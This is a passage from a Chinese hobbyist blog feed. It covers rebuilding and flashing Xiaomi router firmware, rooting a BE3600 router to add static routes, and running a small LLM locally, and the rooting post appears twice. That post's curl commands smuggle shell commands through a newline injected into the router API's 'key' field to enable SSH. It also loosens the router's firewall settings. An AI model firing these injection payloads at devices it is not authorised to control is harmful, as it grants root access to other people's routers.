class="line">[=====================================================================================================================================================================================================================================================================================================================================-] 10132/10132 100%</span><br><span class="line"></span><br><span class="line">created 4779 files</span><br><span class="line">created 302 directories</span><br><span class="line">created 508 symlinks</span><br><span class="line">created 1 device</span><br><span class="line">created 0 fifos</span><br><span class="line">created 0 sockets</span><br><span class="line">created 0 hardlinks</span><br><span class="line">(venv) root@localhost:/route_package/ubifs-root/miwifi_rd15_firmware_23a4f_1.0.68.bin# tree -L 1</span><br><span class="line">.</span><br><span class="line">├── img-2059293214_vol-kernel.ubifs</span><br><span class="line">├── img-2059293214_vol-ubi_rootfs.ubifs</span><br><span class="line">└── squashfs-root <span class="comment"># 这是程序文件</span></span><br><span class="line"></span><br><span class="line">2 directories, 2 files</span><br><span class="line"></span><br><span class="line">(venv) root@localhost:/route_package/ubifs-root/miwifi_rd15_firmware_23a4f_1.0.68.bin/squashfs-root# tree -L 1</span><br><span class="line">.</span><br><span class="line">├── bin</span><br><span class="line">├── data</span><br><span class="line">├── dev</span><br><span class="line">├── etc</span><br><span class="line">├── ini</span><br><span class="line">├── lib</span><br><span class="line">├── mnt</span><br><span class="line">├── overlay</span><br><span class="line">├── proc</span><br><span class="line">├── <span class="built_in">readonly</span></span><br><span class="line">├── rom</span><br><span class="line">├── root</span><br><span class="line">├── run -> tmp/run</span><br><span class="line">├── sawf</span><br><span class="line">├── sbin</span><br><span class="line">├── sys</span><br><span class="line">├── tmp</span><br><span class="line">├── userdisk</span><br><span class="line">├── usr</span><br><span class="line">├── var -> tmp</span><br><span class="line">├── vendor</span><br><span class="line">└── www</span><br><span class="line"></span><br><span class="line">22 directories, 1 file</span><br></pre></td></tr></table></figure><h1 id="修改内容"><a href="#修改内容" class="headerlink" title="修改内容"></a>修改内容</h1><ul><li>🕊</li></ul><h1 id="打包"><a href="#打包" class="headerlink" title="打包"></a>打包</h1><p>用这个脚本吧 方便</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">wget https://raw.githubusercontent.com/geekman/xqrepack/refs/heads/master/ubinize.sh</span><br><span class="line"></span><br><span class="line">(venv) root@localhost:/route_package/ubifs-root/miwifi_rd15_firmware_23a4f_1.0.68.bin# mksquashfs squashfs-root squashfs-root.bin.new -comp xz -b 256K -no-xattrs <span class="comment"># 将 程序重新打包为bin文件</span></span><br><span class="line">Parallel mksquashfs: Using 2 processors</span><br><span class="line">Creating 4.0 filesystem on squashfs-root.bin.new, block size 262144.</span><br><span class="line">[=======================================================================================================================================================================================================================================================================================================================================/] 4844/4844 100%</span><br><span class="line"></span><br><span class="line">Exportable Squashfs 4.0 filesystem, xz compressed, data block size 262144</span><br><span class="line"> compressed data, compressed metadata, compressed fragments,</span><br><span class="line"> no xattrs, compressed ids</span><br><span class="line"> duplicates are removed</span><br><span class="line">Filesystem size 24391.34 Kbytes (23.82 Mbytes)</span><br><span class="line"> 31.05% of uncompressed filesystem size (78564.39 Kbytes)</span><br><span class="line">Inode table size 37534 bytes (36.65 Kbytes)</span><br><span class="line"> 20.36% of uncompressed inode table size (184374 bytes)</span><br><span class="line">Directory table size 52864 bytes (51.62 Kbytes)</span><br><span class="line"> 41.62% of uncompressed directory table size (127006 bytes)</span><br><span class="line">Number of duplicate files found 982</span><br><span class="line">Number of inodes 5590</span><br><span class="line">Number of files 4779</span><br><span class="line">Number of fragments 137</span><br><span class="line">Number of symbolic links 508</span><br><span class="line">Number of device nodes 1</span><br><span class="line">Number of fifo nodes 0</span><br><span class="line">Number of socket nodes 0</span><br><span class="line">Number of directories 302</span><br><span class="line">Number of hard-links 0</span><br><span class="line">Number of ids (unique uids + gids) 1</span><br><span class="line">Number of uids 1</span><br><span class="line"> root (0)</span><br><span class="line">Number of gids 1</span><br><span class="line"> root (0)</span><br><span class="line"></span><br><span class="line">(venv) root@localhost:/route_package/ubifs-root/miwifi_rd15_firmware_23a4f_1.0.68.bin# tree -L 1</span><br><span class="line">.</span><br><span class="line">├── img-2059293214_vol-kernel.ubifs</span><br><span class="line">├── img-2059293214_vol-ubi_rootfs.ubifs</span><br><span class="line">├── squashfs-root</span><br><span class="line">├── squashfs-root.bin.new</span><br><span class="line">└── ubinize.sh</span><br><span class="line"></span><br><span class="line">2 directories, 4 files</span><br><span class="line"></span><br><span class="line">(venv) root@localhost:/route_package/ubifs-root/miwifi_rd15_firmware_23a4f_1.0.68.bin# ./ubinize.sh ./img-2059293214_vol-kernel.ubifs ./squashfs-root.bin.new <span class="comment"># 第一个参数是内核文件 第二个参数是程序文件</span></span><br><span class="line">ubinize: volume size was not specified <span class="keyword">in</span> section <span class="string">"kernel"</span>, assume minimum to fit image <span class="string">"./img-2059293214_vol-kernel.ubifs"</span>3174400 bytes (3.0 MiB)</span><br><span class="line">ubinize: volume size was not specified <span class="keyword">in</span> section <span class="string">"rootfs"</span>, assume minimum to fit image <span class="string">"./squashfs-root.bin.new"</span>24977408 bytes (23.8 MiB)</span><br><span class="line"><span class="keyword">done</span>.</span><br><span class="line"></span><br><span class="line">(venv) root@localhost:/route_package/ubifs-root/miwifi_rd15_firmware_23a4f_1.0.68.bin# tree -L 1</span><br><span class="line">.</span><br><span class="line">├── img-2059293214_vol-kernel.ubifs</span><br><span class="line">├── img-2059293214_vol-ubi_rootfs.ubifs</span><br><span class="line">├── r3600-raw-img.bin <span class="comment"># 脚本写死了输出文件名</span></span><br><span class="line">├── squashfs-root</span><br><span class="line">├── squashfs-root.bin.new</span><br><span class="line">└── ubinize.sh</span><br><span class="line"></span><br><span class="line">2 directories, 5 files</span><br></pre></td></tr></table></figure><h1 id="刷入"><a href="#刷入" class="headerlink" title="刷入"></a>刷入</h1><p>使用 <code>scp</code> 连接到路由器 将新镜像进入 <code>/tmp</code> 目录</p><p>在 路由器中执行</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">r0_mtd=$(grep <span class="string">'"rootfs"'</span> /proc/mtd | awk -F: <span class="string">'{print substr($1,4)}'</span>)</span><br><span class="line">r1_mtd=$(grep <span class="string">'"rootfs_1"'</span> /proc/mtd | awk -F: <span class="string">'{print substr($1,4)}'</span>)</span><br><span class="line">os_idx=$(nvram get flag_boot_rootfs)</span><br><span class="line">mtd_cur=$((<span class="variable">$r0_mtd</span>+<span class="variable">${os_idx:-0}</span>))</span><br><span class="line">mtd_nxt=$((<span class="variable">$r0_mtd</span>+<span class="variable">$r1_mtd</span>-<span class="variable">$mtd_cur</span>))</span><br><span class="line">MTD_DEV=/dev/mtd<span class="variable">$mtd_nxt</span></span><br><span class="line"></span><br><span class="line">ubiformat <span class="variable">$MTD_DEV</span> -f r3600-raw-img.bin</span><br><span class="line"></span><br><span class="line">nvram <span class="built_in">set</span> flag_ota_reboot=1</span><br><span class="line">nvram commit</span><br><span class="line"></span><br><span class="line">reboot</span><br></pre></td></tr></table></figure><h1 id="救砖"><a href="#救砖" class="headerlink" title="救砖"></a>救砖</h1><ul><li><a href="https://www1.miwifi.com/miwifi_download.html">https://www1.miwifi.com/miwifi_download.html</a></li></ul><p>下载 小米路由器修复工具</p><p>选择第一步下载的官方镜像等待结果的发生就行</p><h1 id="成果展示"><a href="#成果展示" class="headerlink" title="成果展示"></a>成果展示</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">root@XiaoQiang:~# netstat -nlp</span><br><span class="line">Active Internet connections (only servers)</span><br><span class="line">Proto Recv-Q Send-Q Local Address Foreign Address State <span class="keyword">in</span> out PID/Program name </span><br><span class="line">tcp 0 0 127.0.0.1:784 0.0.0.0:* LISTEN 0 0 9150/tbusd</span><br><span class="line">tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 0 0 6008/nginx.conf -g </span><br><span class="line">tcp 0 0 127.0.0.1:53 0.0.0.0:* LISTEN 0 0 9209/dnsmasq</span><br><span class="line">tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 0 0 9038/dropbear</span><br><span class="line">tcp 0 0 127.0.0.1:8920 0.0.0.0:* LISTEN 0 0 6026/fcgi-cgi</span><br><span class="line">tcp 0 0 127.0.0.1:6010 0.0.0.0:* LISTEN 0 0 24201/dropbear</span><br><span class="line">tcp 0 0 :::80 :::* LISTEN 0 0 6008/nginx.conf -g </span><br><span class="line">tcp 0 0 ::1:53 :::* LISTEN 0 0 9209/dnsmasq</span><br><span class="line">tcp 0 0 :::22 :::* LISTEN 0 0 9038/dropbear</span><br><span class="line">udp 0 0 127.0.0.1:514 0.0.0.0:* 0 0 10053/syslog-ng</span><br><span class="line">udp 0 0 127.0.0.1:53 0.0.0.0:* 0 0 9209/dnsmasq</span><br><span class="line">udp 0 0 0.0.0.0:67 0.0.0.0:* 0 0 9209/dnsmasq</span><br><span class="line">udp 0 0 127.0.0.1:9900 0.0.0.0:* 0 0 6301/hostapd</span><br><span class="line">udp 0 0 127.0.0.1:9902 0.0.0.0:* 0 0 6300/wpa_supplicant</span><br><span class="line">udp 0 0 :::546 :::* 0 0 29454/odhcp6c</span><br><span class="line">udp 0 0 :::547 :::* 0 0 6190/odhcpd</span><br><span class="line">udp 0 0 ::1:53 :::* 0 0 9209/dnsmasq</span><br><span class="line">Active UNIX domain sockets (only servers)</span><br><span class="line">Proto RefCnt Flags Type State I-Node PID/Program name Path</span><br><span class="line">unix 2 [ ACC ] STREAM LISTENING 13312 10053/syslog-ng /var/syslog-ng.ctl</span><br><span class="line">unix 2 [ ACC ] STREAM LISTENING 8234 526/ubusd /var/run/ubus.sock</span><br></pre></td></tr></table></figure><h1 id="参考地址"><a href="#参考地址" class="headerlink" title="参考地址"></a>参考地址</h1><ul><li><a href="https://v2ex.com/t/746094">https://v2ex.com/t/746094</a></li><li><a href="https://www.right.com.cn/forum/thread-218346-1-1.html">https://www.right.com.cn/forum/thread-218346-1-1.html</a></li><li><a href="https://github.com/geekman/xqrepack">https://github.com/geekman/xqrepack</a></li></ul>]]></content>
<summary type="html"><p>感觉静态ip绑定二次确认不好用</p>
<p>那就 解包 搞自己的路由</p>
<h1 id="获取开发包"><a href="#获取开发包" class="headerlink" title="获取开发包"></a>获取开发包</h1><ul>
<li><a href="</summary>
<category term="路由器" scheme="https://puzzle9.github.io/categories/%E8%B7%AF%E7%94%B1%E5%99%A8/"/>
</entry>
<entry>
<title>玩 路由器 之 开篇</title>
<link href="https://puzzle9.github.io/posts/2195506d/"/>
<id>https://puzzle9.github.io/posts/2195506d/</id>
<published>2024-10-22T06:06:18.000Z</published>
<updated>2024-10-22T07:38:14.001Z</updated>
<content type="html"><![CDATA[<p>恩 无聊的产物</p><h1 id="前置条件"><a href="#前置条件" class="headerlink" title="前置条件"></a>前置条件</h1><p>入手了 <code>be3600</code></p><p>发现没办法设置<code>静态路由</code></p><p>那 不能就这么放弃了</p><h1 id="开-ssh"><a href="#开-ssh" class="headerlink" title="开 ssh"></a>开 <code>ssh</code></h1><p>感谢 <code>恩山</code> 的大佬们</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">curl -X POST http://192.168.31.1/cgi-bin/luci/;stok=token/api/xqsystem/start_binding -d <span class="string">"uid=1234&key=1234'%0Anvram%20set%20ssh_en%3D1'"</span></span><br><span class="line">curl -X POST http://192.168.31.1/cgi-bin/luci/;stok=token/api/xqsystem/start_binding -d <span class="string">"uid=1234&key=1234'%0Anvram%20commit'"</span></span><br><span class="line">curl -X POST http://192.168.31.1/cgi-bin/luci/;stok=token/api/xqsystem/start_binding -d <span class="string">"uid=1234&key=1234'%0Ased%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%22debug%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear'"</span></span><br><span class="line">curl -X POST http://192.168.31.1/cgi-bin/luci/;stok=token/api/xqsystem/start_binding -d <span class="string">"uid=1234&key=1234'%0A%2Fetc%2Finit.d%2Fdropbear%20start'"</span></span><br></pre></td></tr></table></figure><p>计算 <code>ssh</code> 密码 注意 <code>sn</code> 大小写问题</p><ul><li><a href="https://miwifi.dev/ssh">https://miwifi.dev/ssh</a></li></ul><h1 id="开启静态路由"><a href="#开启静态路由" class="headerlink" title="开启静态路由"></a>开启静态路由</h1><h2 id="修改防火墙"><a href="#修改防火墙" class="headerlink" title="修改防火墙"></a>修改防火墙</h2><ul><li><code>/etc/config/firewall</code></li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">config defaults</span><br><span class="line">option syn_flood '0'</span><br><span class="line">option input 'ACCEPT'</span><br><span class="line">option output 'ACCEPT'</span><br><span class="line">option forward 'REJECT' # 改成 ACCEPT</span><br><span class="line">option drop_invalid '1' # 改成 0</span><br><span class="line"></span><br><span class="line">config zone</span><br><span class="line">option name 'lan'</span><br><span class="line">option network 'lan'</span><br><span class="line">option input 'ACCEPT'</span><br><span class="line">option output 'ACCEPT'</span><br><span class="line">option forward 'REJECT' # 改成 ACCEPT</span><br></pre></td></tr></table></figure><h2 id="设置静态路由"><a href="#设置静态路由" class="headerlink" title="设置静态路由"></a>设置静态路由</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">uci add network route</span><br><span class="line">uci <span class="built_in">set</span> network.@route[-1].interface=lan</span><br><span class="line">uci <span class="built_in">set</span> network.@route[-1].target=192.168.11.0</span><br><span class="line">uci <span class="built_in">set</span> network.@route[-1].netmask=255.255.255.0</span><br><span class="line">uci <span class="built_in">set</span> network.@route[-1].gateway=192.168.2.9</span><br><span class="line">uci commit network</span><br><span class="line"></span><br><span class="line">uci show network</span><br></pre></td></tr></table></figure><p>重启后就可以生效了</p><h1 id="参考地址"><a href="#参考地址" class="headerlink" title="参考地址"></a>参考地址</h1><ul><li><a href="https://www.right.com.cn/forum/thread-8321180-1-1.html">https://www.right.com.cn/forum/thread-8321180-1-1.html</a></li><li><a href="https://github.com/openwrt-xiaomi/xmir-patcher/issues/19">https://github.com/openwrt-xiaomi/xmir-patcher/issues/19</a></li><li><a href="https://www.right.com.cn/forum/forum.php?mod=redirect&goto=findpost&ptid=6601141&pid=14997935">https://www.right.com.cn/forum/forum.php?mod=redirect&goto=findpost&ptid=6601141&pid=14997935</a></li><li><a href="https://www.right.com.cn/forum/thread-7673021-1-1.html">https://www.right.com.cn/forum/thread-7673021-1-1.html</a></li></ul>]]></content>
<summary type="html"><p>恩 无聊的产物</p>
<h1 id="前置条件"><a href="#前置条件" class="headerlink" title="前置条件"></a>前置条件</h1><p>入手了 <code>be3600</code></p>
<p>发现没办法设置<code>静态路</summary>
<category term="路由器" scheme="https://puzzle9.github.io/categories/%E8%B7%AF%E7%94%B1%E5%99%A8/"/>
</entry>
<entry>
<title>玩 路由器 之 开篇</title>
<link href="https://puzzle9.github.io/posts/2195506d/"/>
<id>https://puzzle9.github.io/posts/2195506d/</id>
<published>2024-10-22T06:06:18.000Z</published>
<updated>2024-10-22T07:38:14.001Z</updated>
<content type="html"><![CDATA[<p>恩 无聊的产物</p><h1 id="前置条件"><a href="#前置条件" class="headerlink" title="前置条件"></a>前置条件</h1><p>入手了 <code>be3600</code></p><p>发现没办法设置<code>静态路由</code></p><p>那 不能就这么放弃了</p><h1 id="开-ssh"><a href="#开-ssh" class="headerlink" title="开 ssh"></a>开 <code>ssh</code></h1><p>感谢 <code>恩山</code> 的大佬们</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">curl -X POST http://192.168.31.1/cgi-bin/luci/;stok=token/api/xqsystem/start_binding -d <span class="string">"uid=1234&key=1234'%0Anvram%20set%20ssh_en%3D1'"</span></span><br><span class="line">curl -X POST http://192.168.31.1/cgi-bin/luci/;stok=token/api/xqsystem/start_binding -d <span class="string">"uid=1234&key=1234'%0Anvram%20commit'"</span></span><br><span class="line">curl -X POST http://192.168.31.1/cgi-bin/luci/;stok=token/api/xqsystem/start_binding -d <span class="string">"uid=1234&key=1234'%0Ased%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%22debug%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear'"</span></span><br><span class="line">curl -X POST http://192.168.31.1/cgi-bin/luci/;stok=token/api/xqsystem/start_binding -d <span class="string">"uid=1234&key=1234'%0A%2Fetc%2Finit.d%2Fdropbear%20start'"</span></span><br></pre></td></tr></table></figure><p>计算 <code>ssh</code> 密码 注意 <code>sn</code> 大小写问题</p><ul><li><a href="https://miwifi.dev/ssh">https://miwifi.dev/ssh</a></li></ul><h1 id="开启静态路由"><a href="#开启静态路由" class="headerlink" title="开启静态路由"></a>开启静态路由</h1><h2 id="修改防火墙"><a href="#修改防火墙" class="headerlink" title="修改防火墙"></a>修改防火墙</h2><ul><li><code>/etc/config/firewall</code></li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">config defaults</span><br><span class="line">option syn_flood '0'</span><br><span class="line">option input 'ACCEPT'</span><br><span class="line">option output 'ACCEPT'</span><br><span class="line">option forward 'REJECT' # 改成 ACCEPT</span><br><span class="line">option drop_invalid '1' # 改成 0</span><br><span class="line"></span><br><span class="line">config zone</span><br><span class="line">option name 'lan'</span><br><span class="line">option network 'lan'</span><br><span class="line">option input 'ACCEPT'</span><br><span class="line">option output 'ACCEPT'</span><br><span class="line">option forward 'REJECT' # 改成 ACCEPT</span><br></pre></td></tr></table></figure><h2 id="设置静态路由"><a href="#设置静态路由" class="headerlink" title="设置静态路由"></a>设置静态路由</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">uci add network route</span><br><span class="line">uci <span class="built_in">set</span> network.@route[-1].interface=lan</span><br><span class="line">uci <span class="built_in">set</span> network.@route[-1].target=192.168.11.0</span><br><span class="line">uci <span class="built_in">set</span> network.@route[-1].netmask=255.255.255.0</span><br><span class="line">uci <span class="built_in">set</span> network.@route[-1].gateway=192.168.2.9</span><br><span class="line">uci commit network</span><br><span class="line"></span><br><span class="line">uci show network</span><br></pre></td></tr></table></figure><p>重启后就可以生效了</p><h1 id="参考地址"><a href="#参考地址" class="headerlink" title="参考地址"></a>参考地址</h1><ul><li><a href="https://www.right.com.cn/forum/thread-8321180-1-1.html">https://www.right.com.cn/forum/thread-8321180-1-1.html</a></li><li><a href="https://github.com/openwrt-xiaomi/xmir-patcher/issues/19">https://github.com/openwrt-xiaomi/xmir-patcher/issues/19</a></li><li><a href="https://www.right.com.cn/forum/forum.php?mod=redirect&goto=findpost&ptid=6601141&pid=14997935">https://www.right.com.cn/forum/forum.php?mod=redirect&goto=findpost&ptid=6601141&pid=14997935</a></li><li><a href="https://www.right.com.cn/forum/thread-7673021-1-1.html">https://www.right.com.cn/forum/thread-7673021-1-1.html</a></li></ul>]]></content>
<summary type="html"><p>恩 无聊的产物</p>
<h1 id="前置条件"><a href="#前置条件" class="headerlink" title="前置条件"></a>前置条件</h1><p>入手了 <code>be3600</code></p>
<p>发现没办法设置<code>静态路</summary>
<category term="路由器" scheme="https://puzzle9.github.io/categories/%E8%B7%AF%E7%94%B1%E5%99%A8/"/>
</entry>
<entry>
<title>LLM 初探 🕊</title>
<link href="https://puzzle9.github.io/posts/44c7d218/"/>
<id>https://puzzle9.github.io/posts/44c7d218/</id>
<published>2024-09-11T16:59:28.000Z</published>
<updated>2024-09-11T17:58:40.473Z</updated>
<content type="html"><![CDATA[<blockquote><p>嗯 <code>vgpu</code> 很重要<br>网速、硬盘杀手</p></blockquote><h1 id="配置"><a href="#配置" class="headerlink" title="配置"></a>配置</h1><ul><li><code>NVIDIA GeForce GTX 1060 5GB</code></li><li><code>WSL</code> <code>Debian Sid</code></li></ul><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">+---------------------------------------------------------------------------------------+</span><br><span class="line">| NVIDIA-SMI 530.41.03 Driver Version: 531.41 CUDA Version: 12.1 |</span><br><span class="line">|-----------------------------------------+----------------------+----------------------+</span><br><span class="line">| GPU Name Persistence-M| Bus-Id Disp.A | Volatile Uncorr. ECC |</span><br><span class="line">| Fan Temp Perf Pwr:Usage/Cap| Memory-Usage | GPU-Util Compute M. |</span><br><span class="line">| | | MIG M. |</span><br><span class="line">|=========================================+======================+======================|</span><br><span class="line">| 0 NVIDIA GeForce GTX 1060 5GB On | 00000000:08:00.0 On | N/A |</span><br><span class="line">| 0% 53C P8 10W / 120W| 878MiB / 5120MiB | 6% Default |</span><br><span class="line">| | | N/A |</span><br><span class="line">+-----------------------------------------+----------------------+----------------------+</span><br><span class="line"></span><br><span class="line">+---------------------------------------------------------------------------------------+</span><br><span class="line">| Processes: |</span><br><span class="line">| GPU GI CI PID Type Process name GPU Memory |</span><br><span class="line">| ID ID Usage |</span><br><span class="line">|=======================================================================================|</span><br><span class="line">| No running processes found |</span><br><span class="line">+---------------------------------------------------------------------------------------+</span><br></pre></td></tr></table></figure><h1 id="MLC-LLM"><a href="#MLC-LLM" class="headerlink" title="MLC LLM"></a>MLC LLM</h1><ul><li><a href="https://github.com/mlc-ai/mlc-llm">https://github.com/mlc-ai/mlc-llm</a></li></ul><p>这个 他浏览器也能跑的 !!!</p><blockquote><p><a href="https://huggingface.co/mlc-ai/Phi-3.5-mini-instruct-q4f16_1-MLC">Phi-3.5-mini-instruct-q4f16_1-MLC</a></p></blockquote><p>我这个显存试验了一圈 也就这个能跑起来 其余的 就 <code>boom</code></p><h2 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h2><p>用的 <code>cuad 12.1</code></p><p>这个需要的扩展包 <code>nvidia-cuda-toolkit</code> <code>debian</code> 在 <code>sid</code> 才提供了</p><h3 id="先更改版本"><a href="#先更改版本" class="headerlink" title="先更改版本"></a>先更改版本</h3><ul><li><a href="https://mirrors.tuna.tsinghua.edu.cn/help/debian/">https://mirrors.tuna.tsinghua.edu.cn/help/debian/</a></li></ul><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">rm</span> /etc/apt/sources.list.d/debian.sources</span><br><span class="line"><span class="built_in">echo</span> <span class="string">"deb https://mirrors.tuna.tsinghua.edu.cn/debian/ sid main contrib non-free non-free-firmware"</span> > /etc/apt/sources.list</span><br></pre></td></tr></table></figure><h3 id="安装所需扩展"><a href="#安装所需扩展" class="headerlink" title="安装所需扩展"></a>安装所需扩展</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">apt install nvidia-cuda-toolkit</span><br><span class="line">apt install git git-lfs</span><br><span class="line"></span><br><span class="line">git lfs install</span><br></pre></td></tr></table></figure><h3 id="再安装-conda"><a href="#再安装-conda" class="headerlink" title="再安装 conda"></a>再安装 <code>conda</code></h3><ul><li><a href="https://docs.conda.io/projects/conda/en/latest/user-guide/install/linux.html">https://docs.conda.io/projects/conda/en/latest/user-guide/install/linux.html</a></li></ul><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">curl https://repo.anaconda.com/pkgs/misc/gpgkeys/anaconda.asc | gpg --dearmor > conda.gpg</span><br><span class="line">install -o root -g root -m 644 conda.gpg /usr/share/keyrings/conda-archive-keyring.gpg</span><br><span class="line">gpg --keyring /usr/share/keyrings/conda-archive-keyring.gpg --no-default-keyring --fingerprint 34161F5BF5EB1D4BFBBB8F0A8AEB4F8B29D82806</span><br><span class="line"><span class="built_in">echo</span> <span class="string">"deb [arch=amd64 signed-by=/usr/share/keyrings/conda-archive-keyring.gpg] https://repo.anaconda.com/pkgs/misc/debrepo/conda stable main"</span> > /etc/apt/sources.list.d/conda.list</span><br><span class="line"></span><br><span class="line">apt update</span><br><span class="line">apt install conda</span><br></pre></td></tr></table></figure><h2 id="开跑"><a href="#开跑" class="headerlink" title="开跑"></a>开跑</h2><h3 id="下载模型"><a href="#下载模型" class="headerlink" title="下载模型"></a>下载模型</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> /llm/mlc-llm</span><br><span class="line"></span><br><span class="line">GIT_LFS_SKIP_SMUDGE=1 git <span class="built_in">clone</span> https://huggingface.co/mlc-ai/Phi-3.5-mini-instruct-q4f16_1-MLC</span><br><span class="line"></span><br><span class="line"><span class="built_in">cd</span> Phi-3.5-mini-instruct-q4f16_1-MLC</span><br><span class="line">git lfs pull</span><br></pre></td></tr></table></figure><h3 id="配置环境"><a href="#配置环境" class="headerlink" title="配置环境"></a>配置环境</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> /llm/</span><br><span class="line">conda create -n ai python=3.12</span><br><span class="line">conda activate ai</span><br><span class="line"></span><br><span class="line"><span class="comment"># https://llm.mlc.ai/docs/install/mlc_llm.html#install-mlc-packages</span></span><br><span class="line"></span><br><span class="line">python -m pip install --pre -U -f https://mlc.ai/wheels mlc-llm-nightly-cu121 mlc-ai-nightly-cu121</span><br><span class="line"></span><br><span class="line"><span class="comment"># 测试</span></span><br><span class="line">python -c <span class="string">"import mlc_llm; print(mlc_llm)"</span></span><br></pre></td></tr></table></figure><h3 id="开跑-1"><a href="#开跑-1" class="headerlink" title="开跑"></a>开跑</h3><blockquote><p>可以体会到 什么叫做给出蹦字</p></blockquote><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> 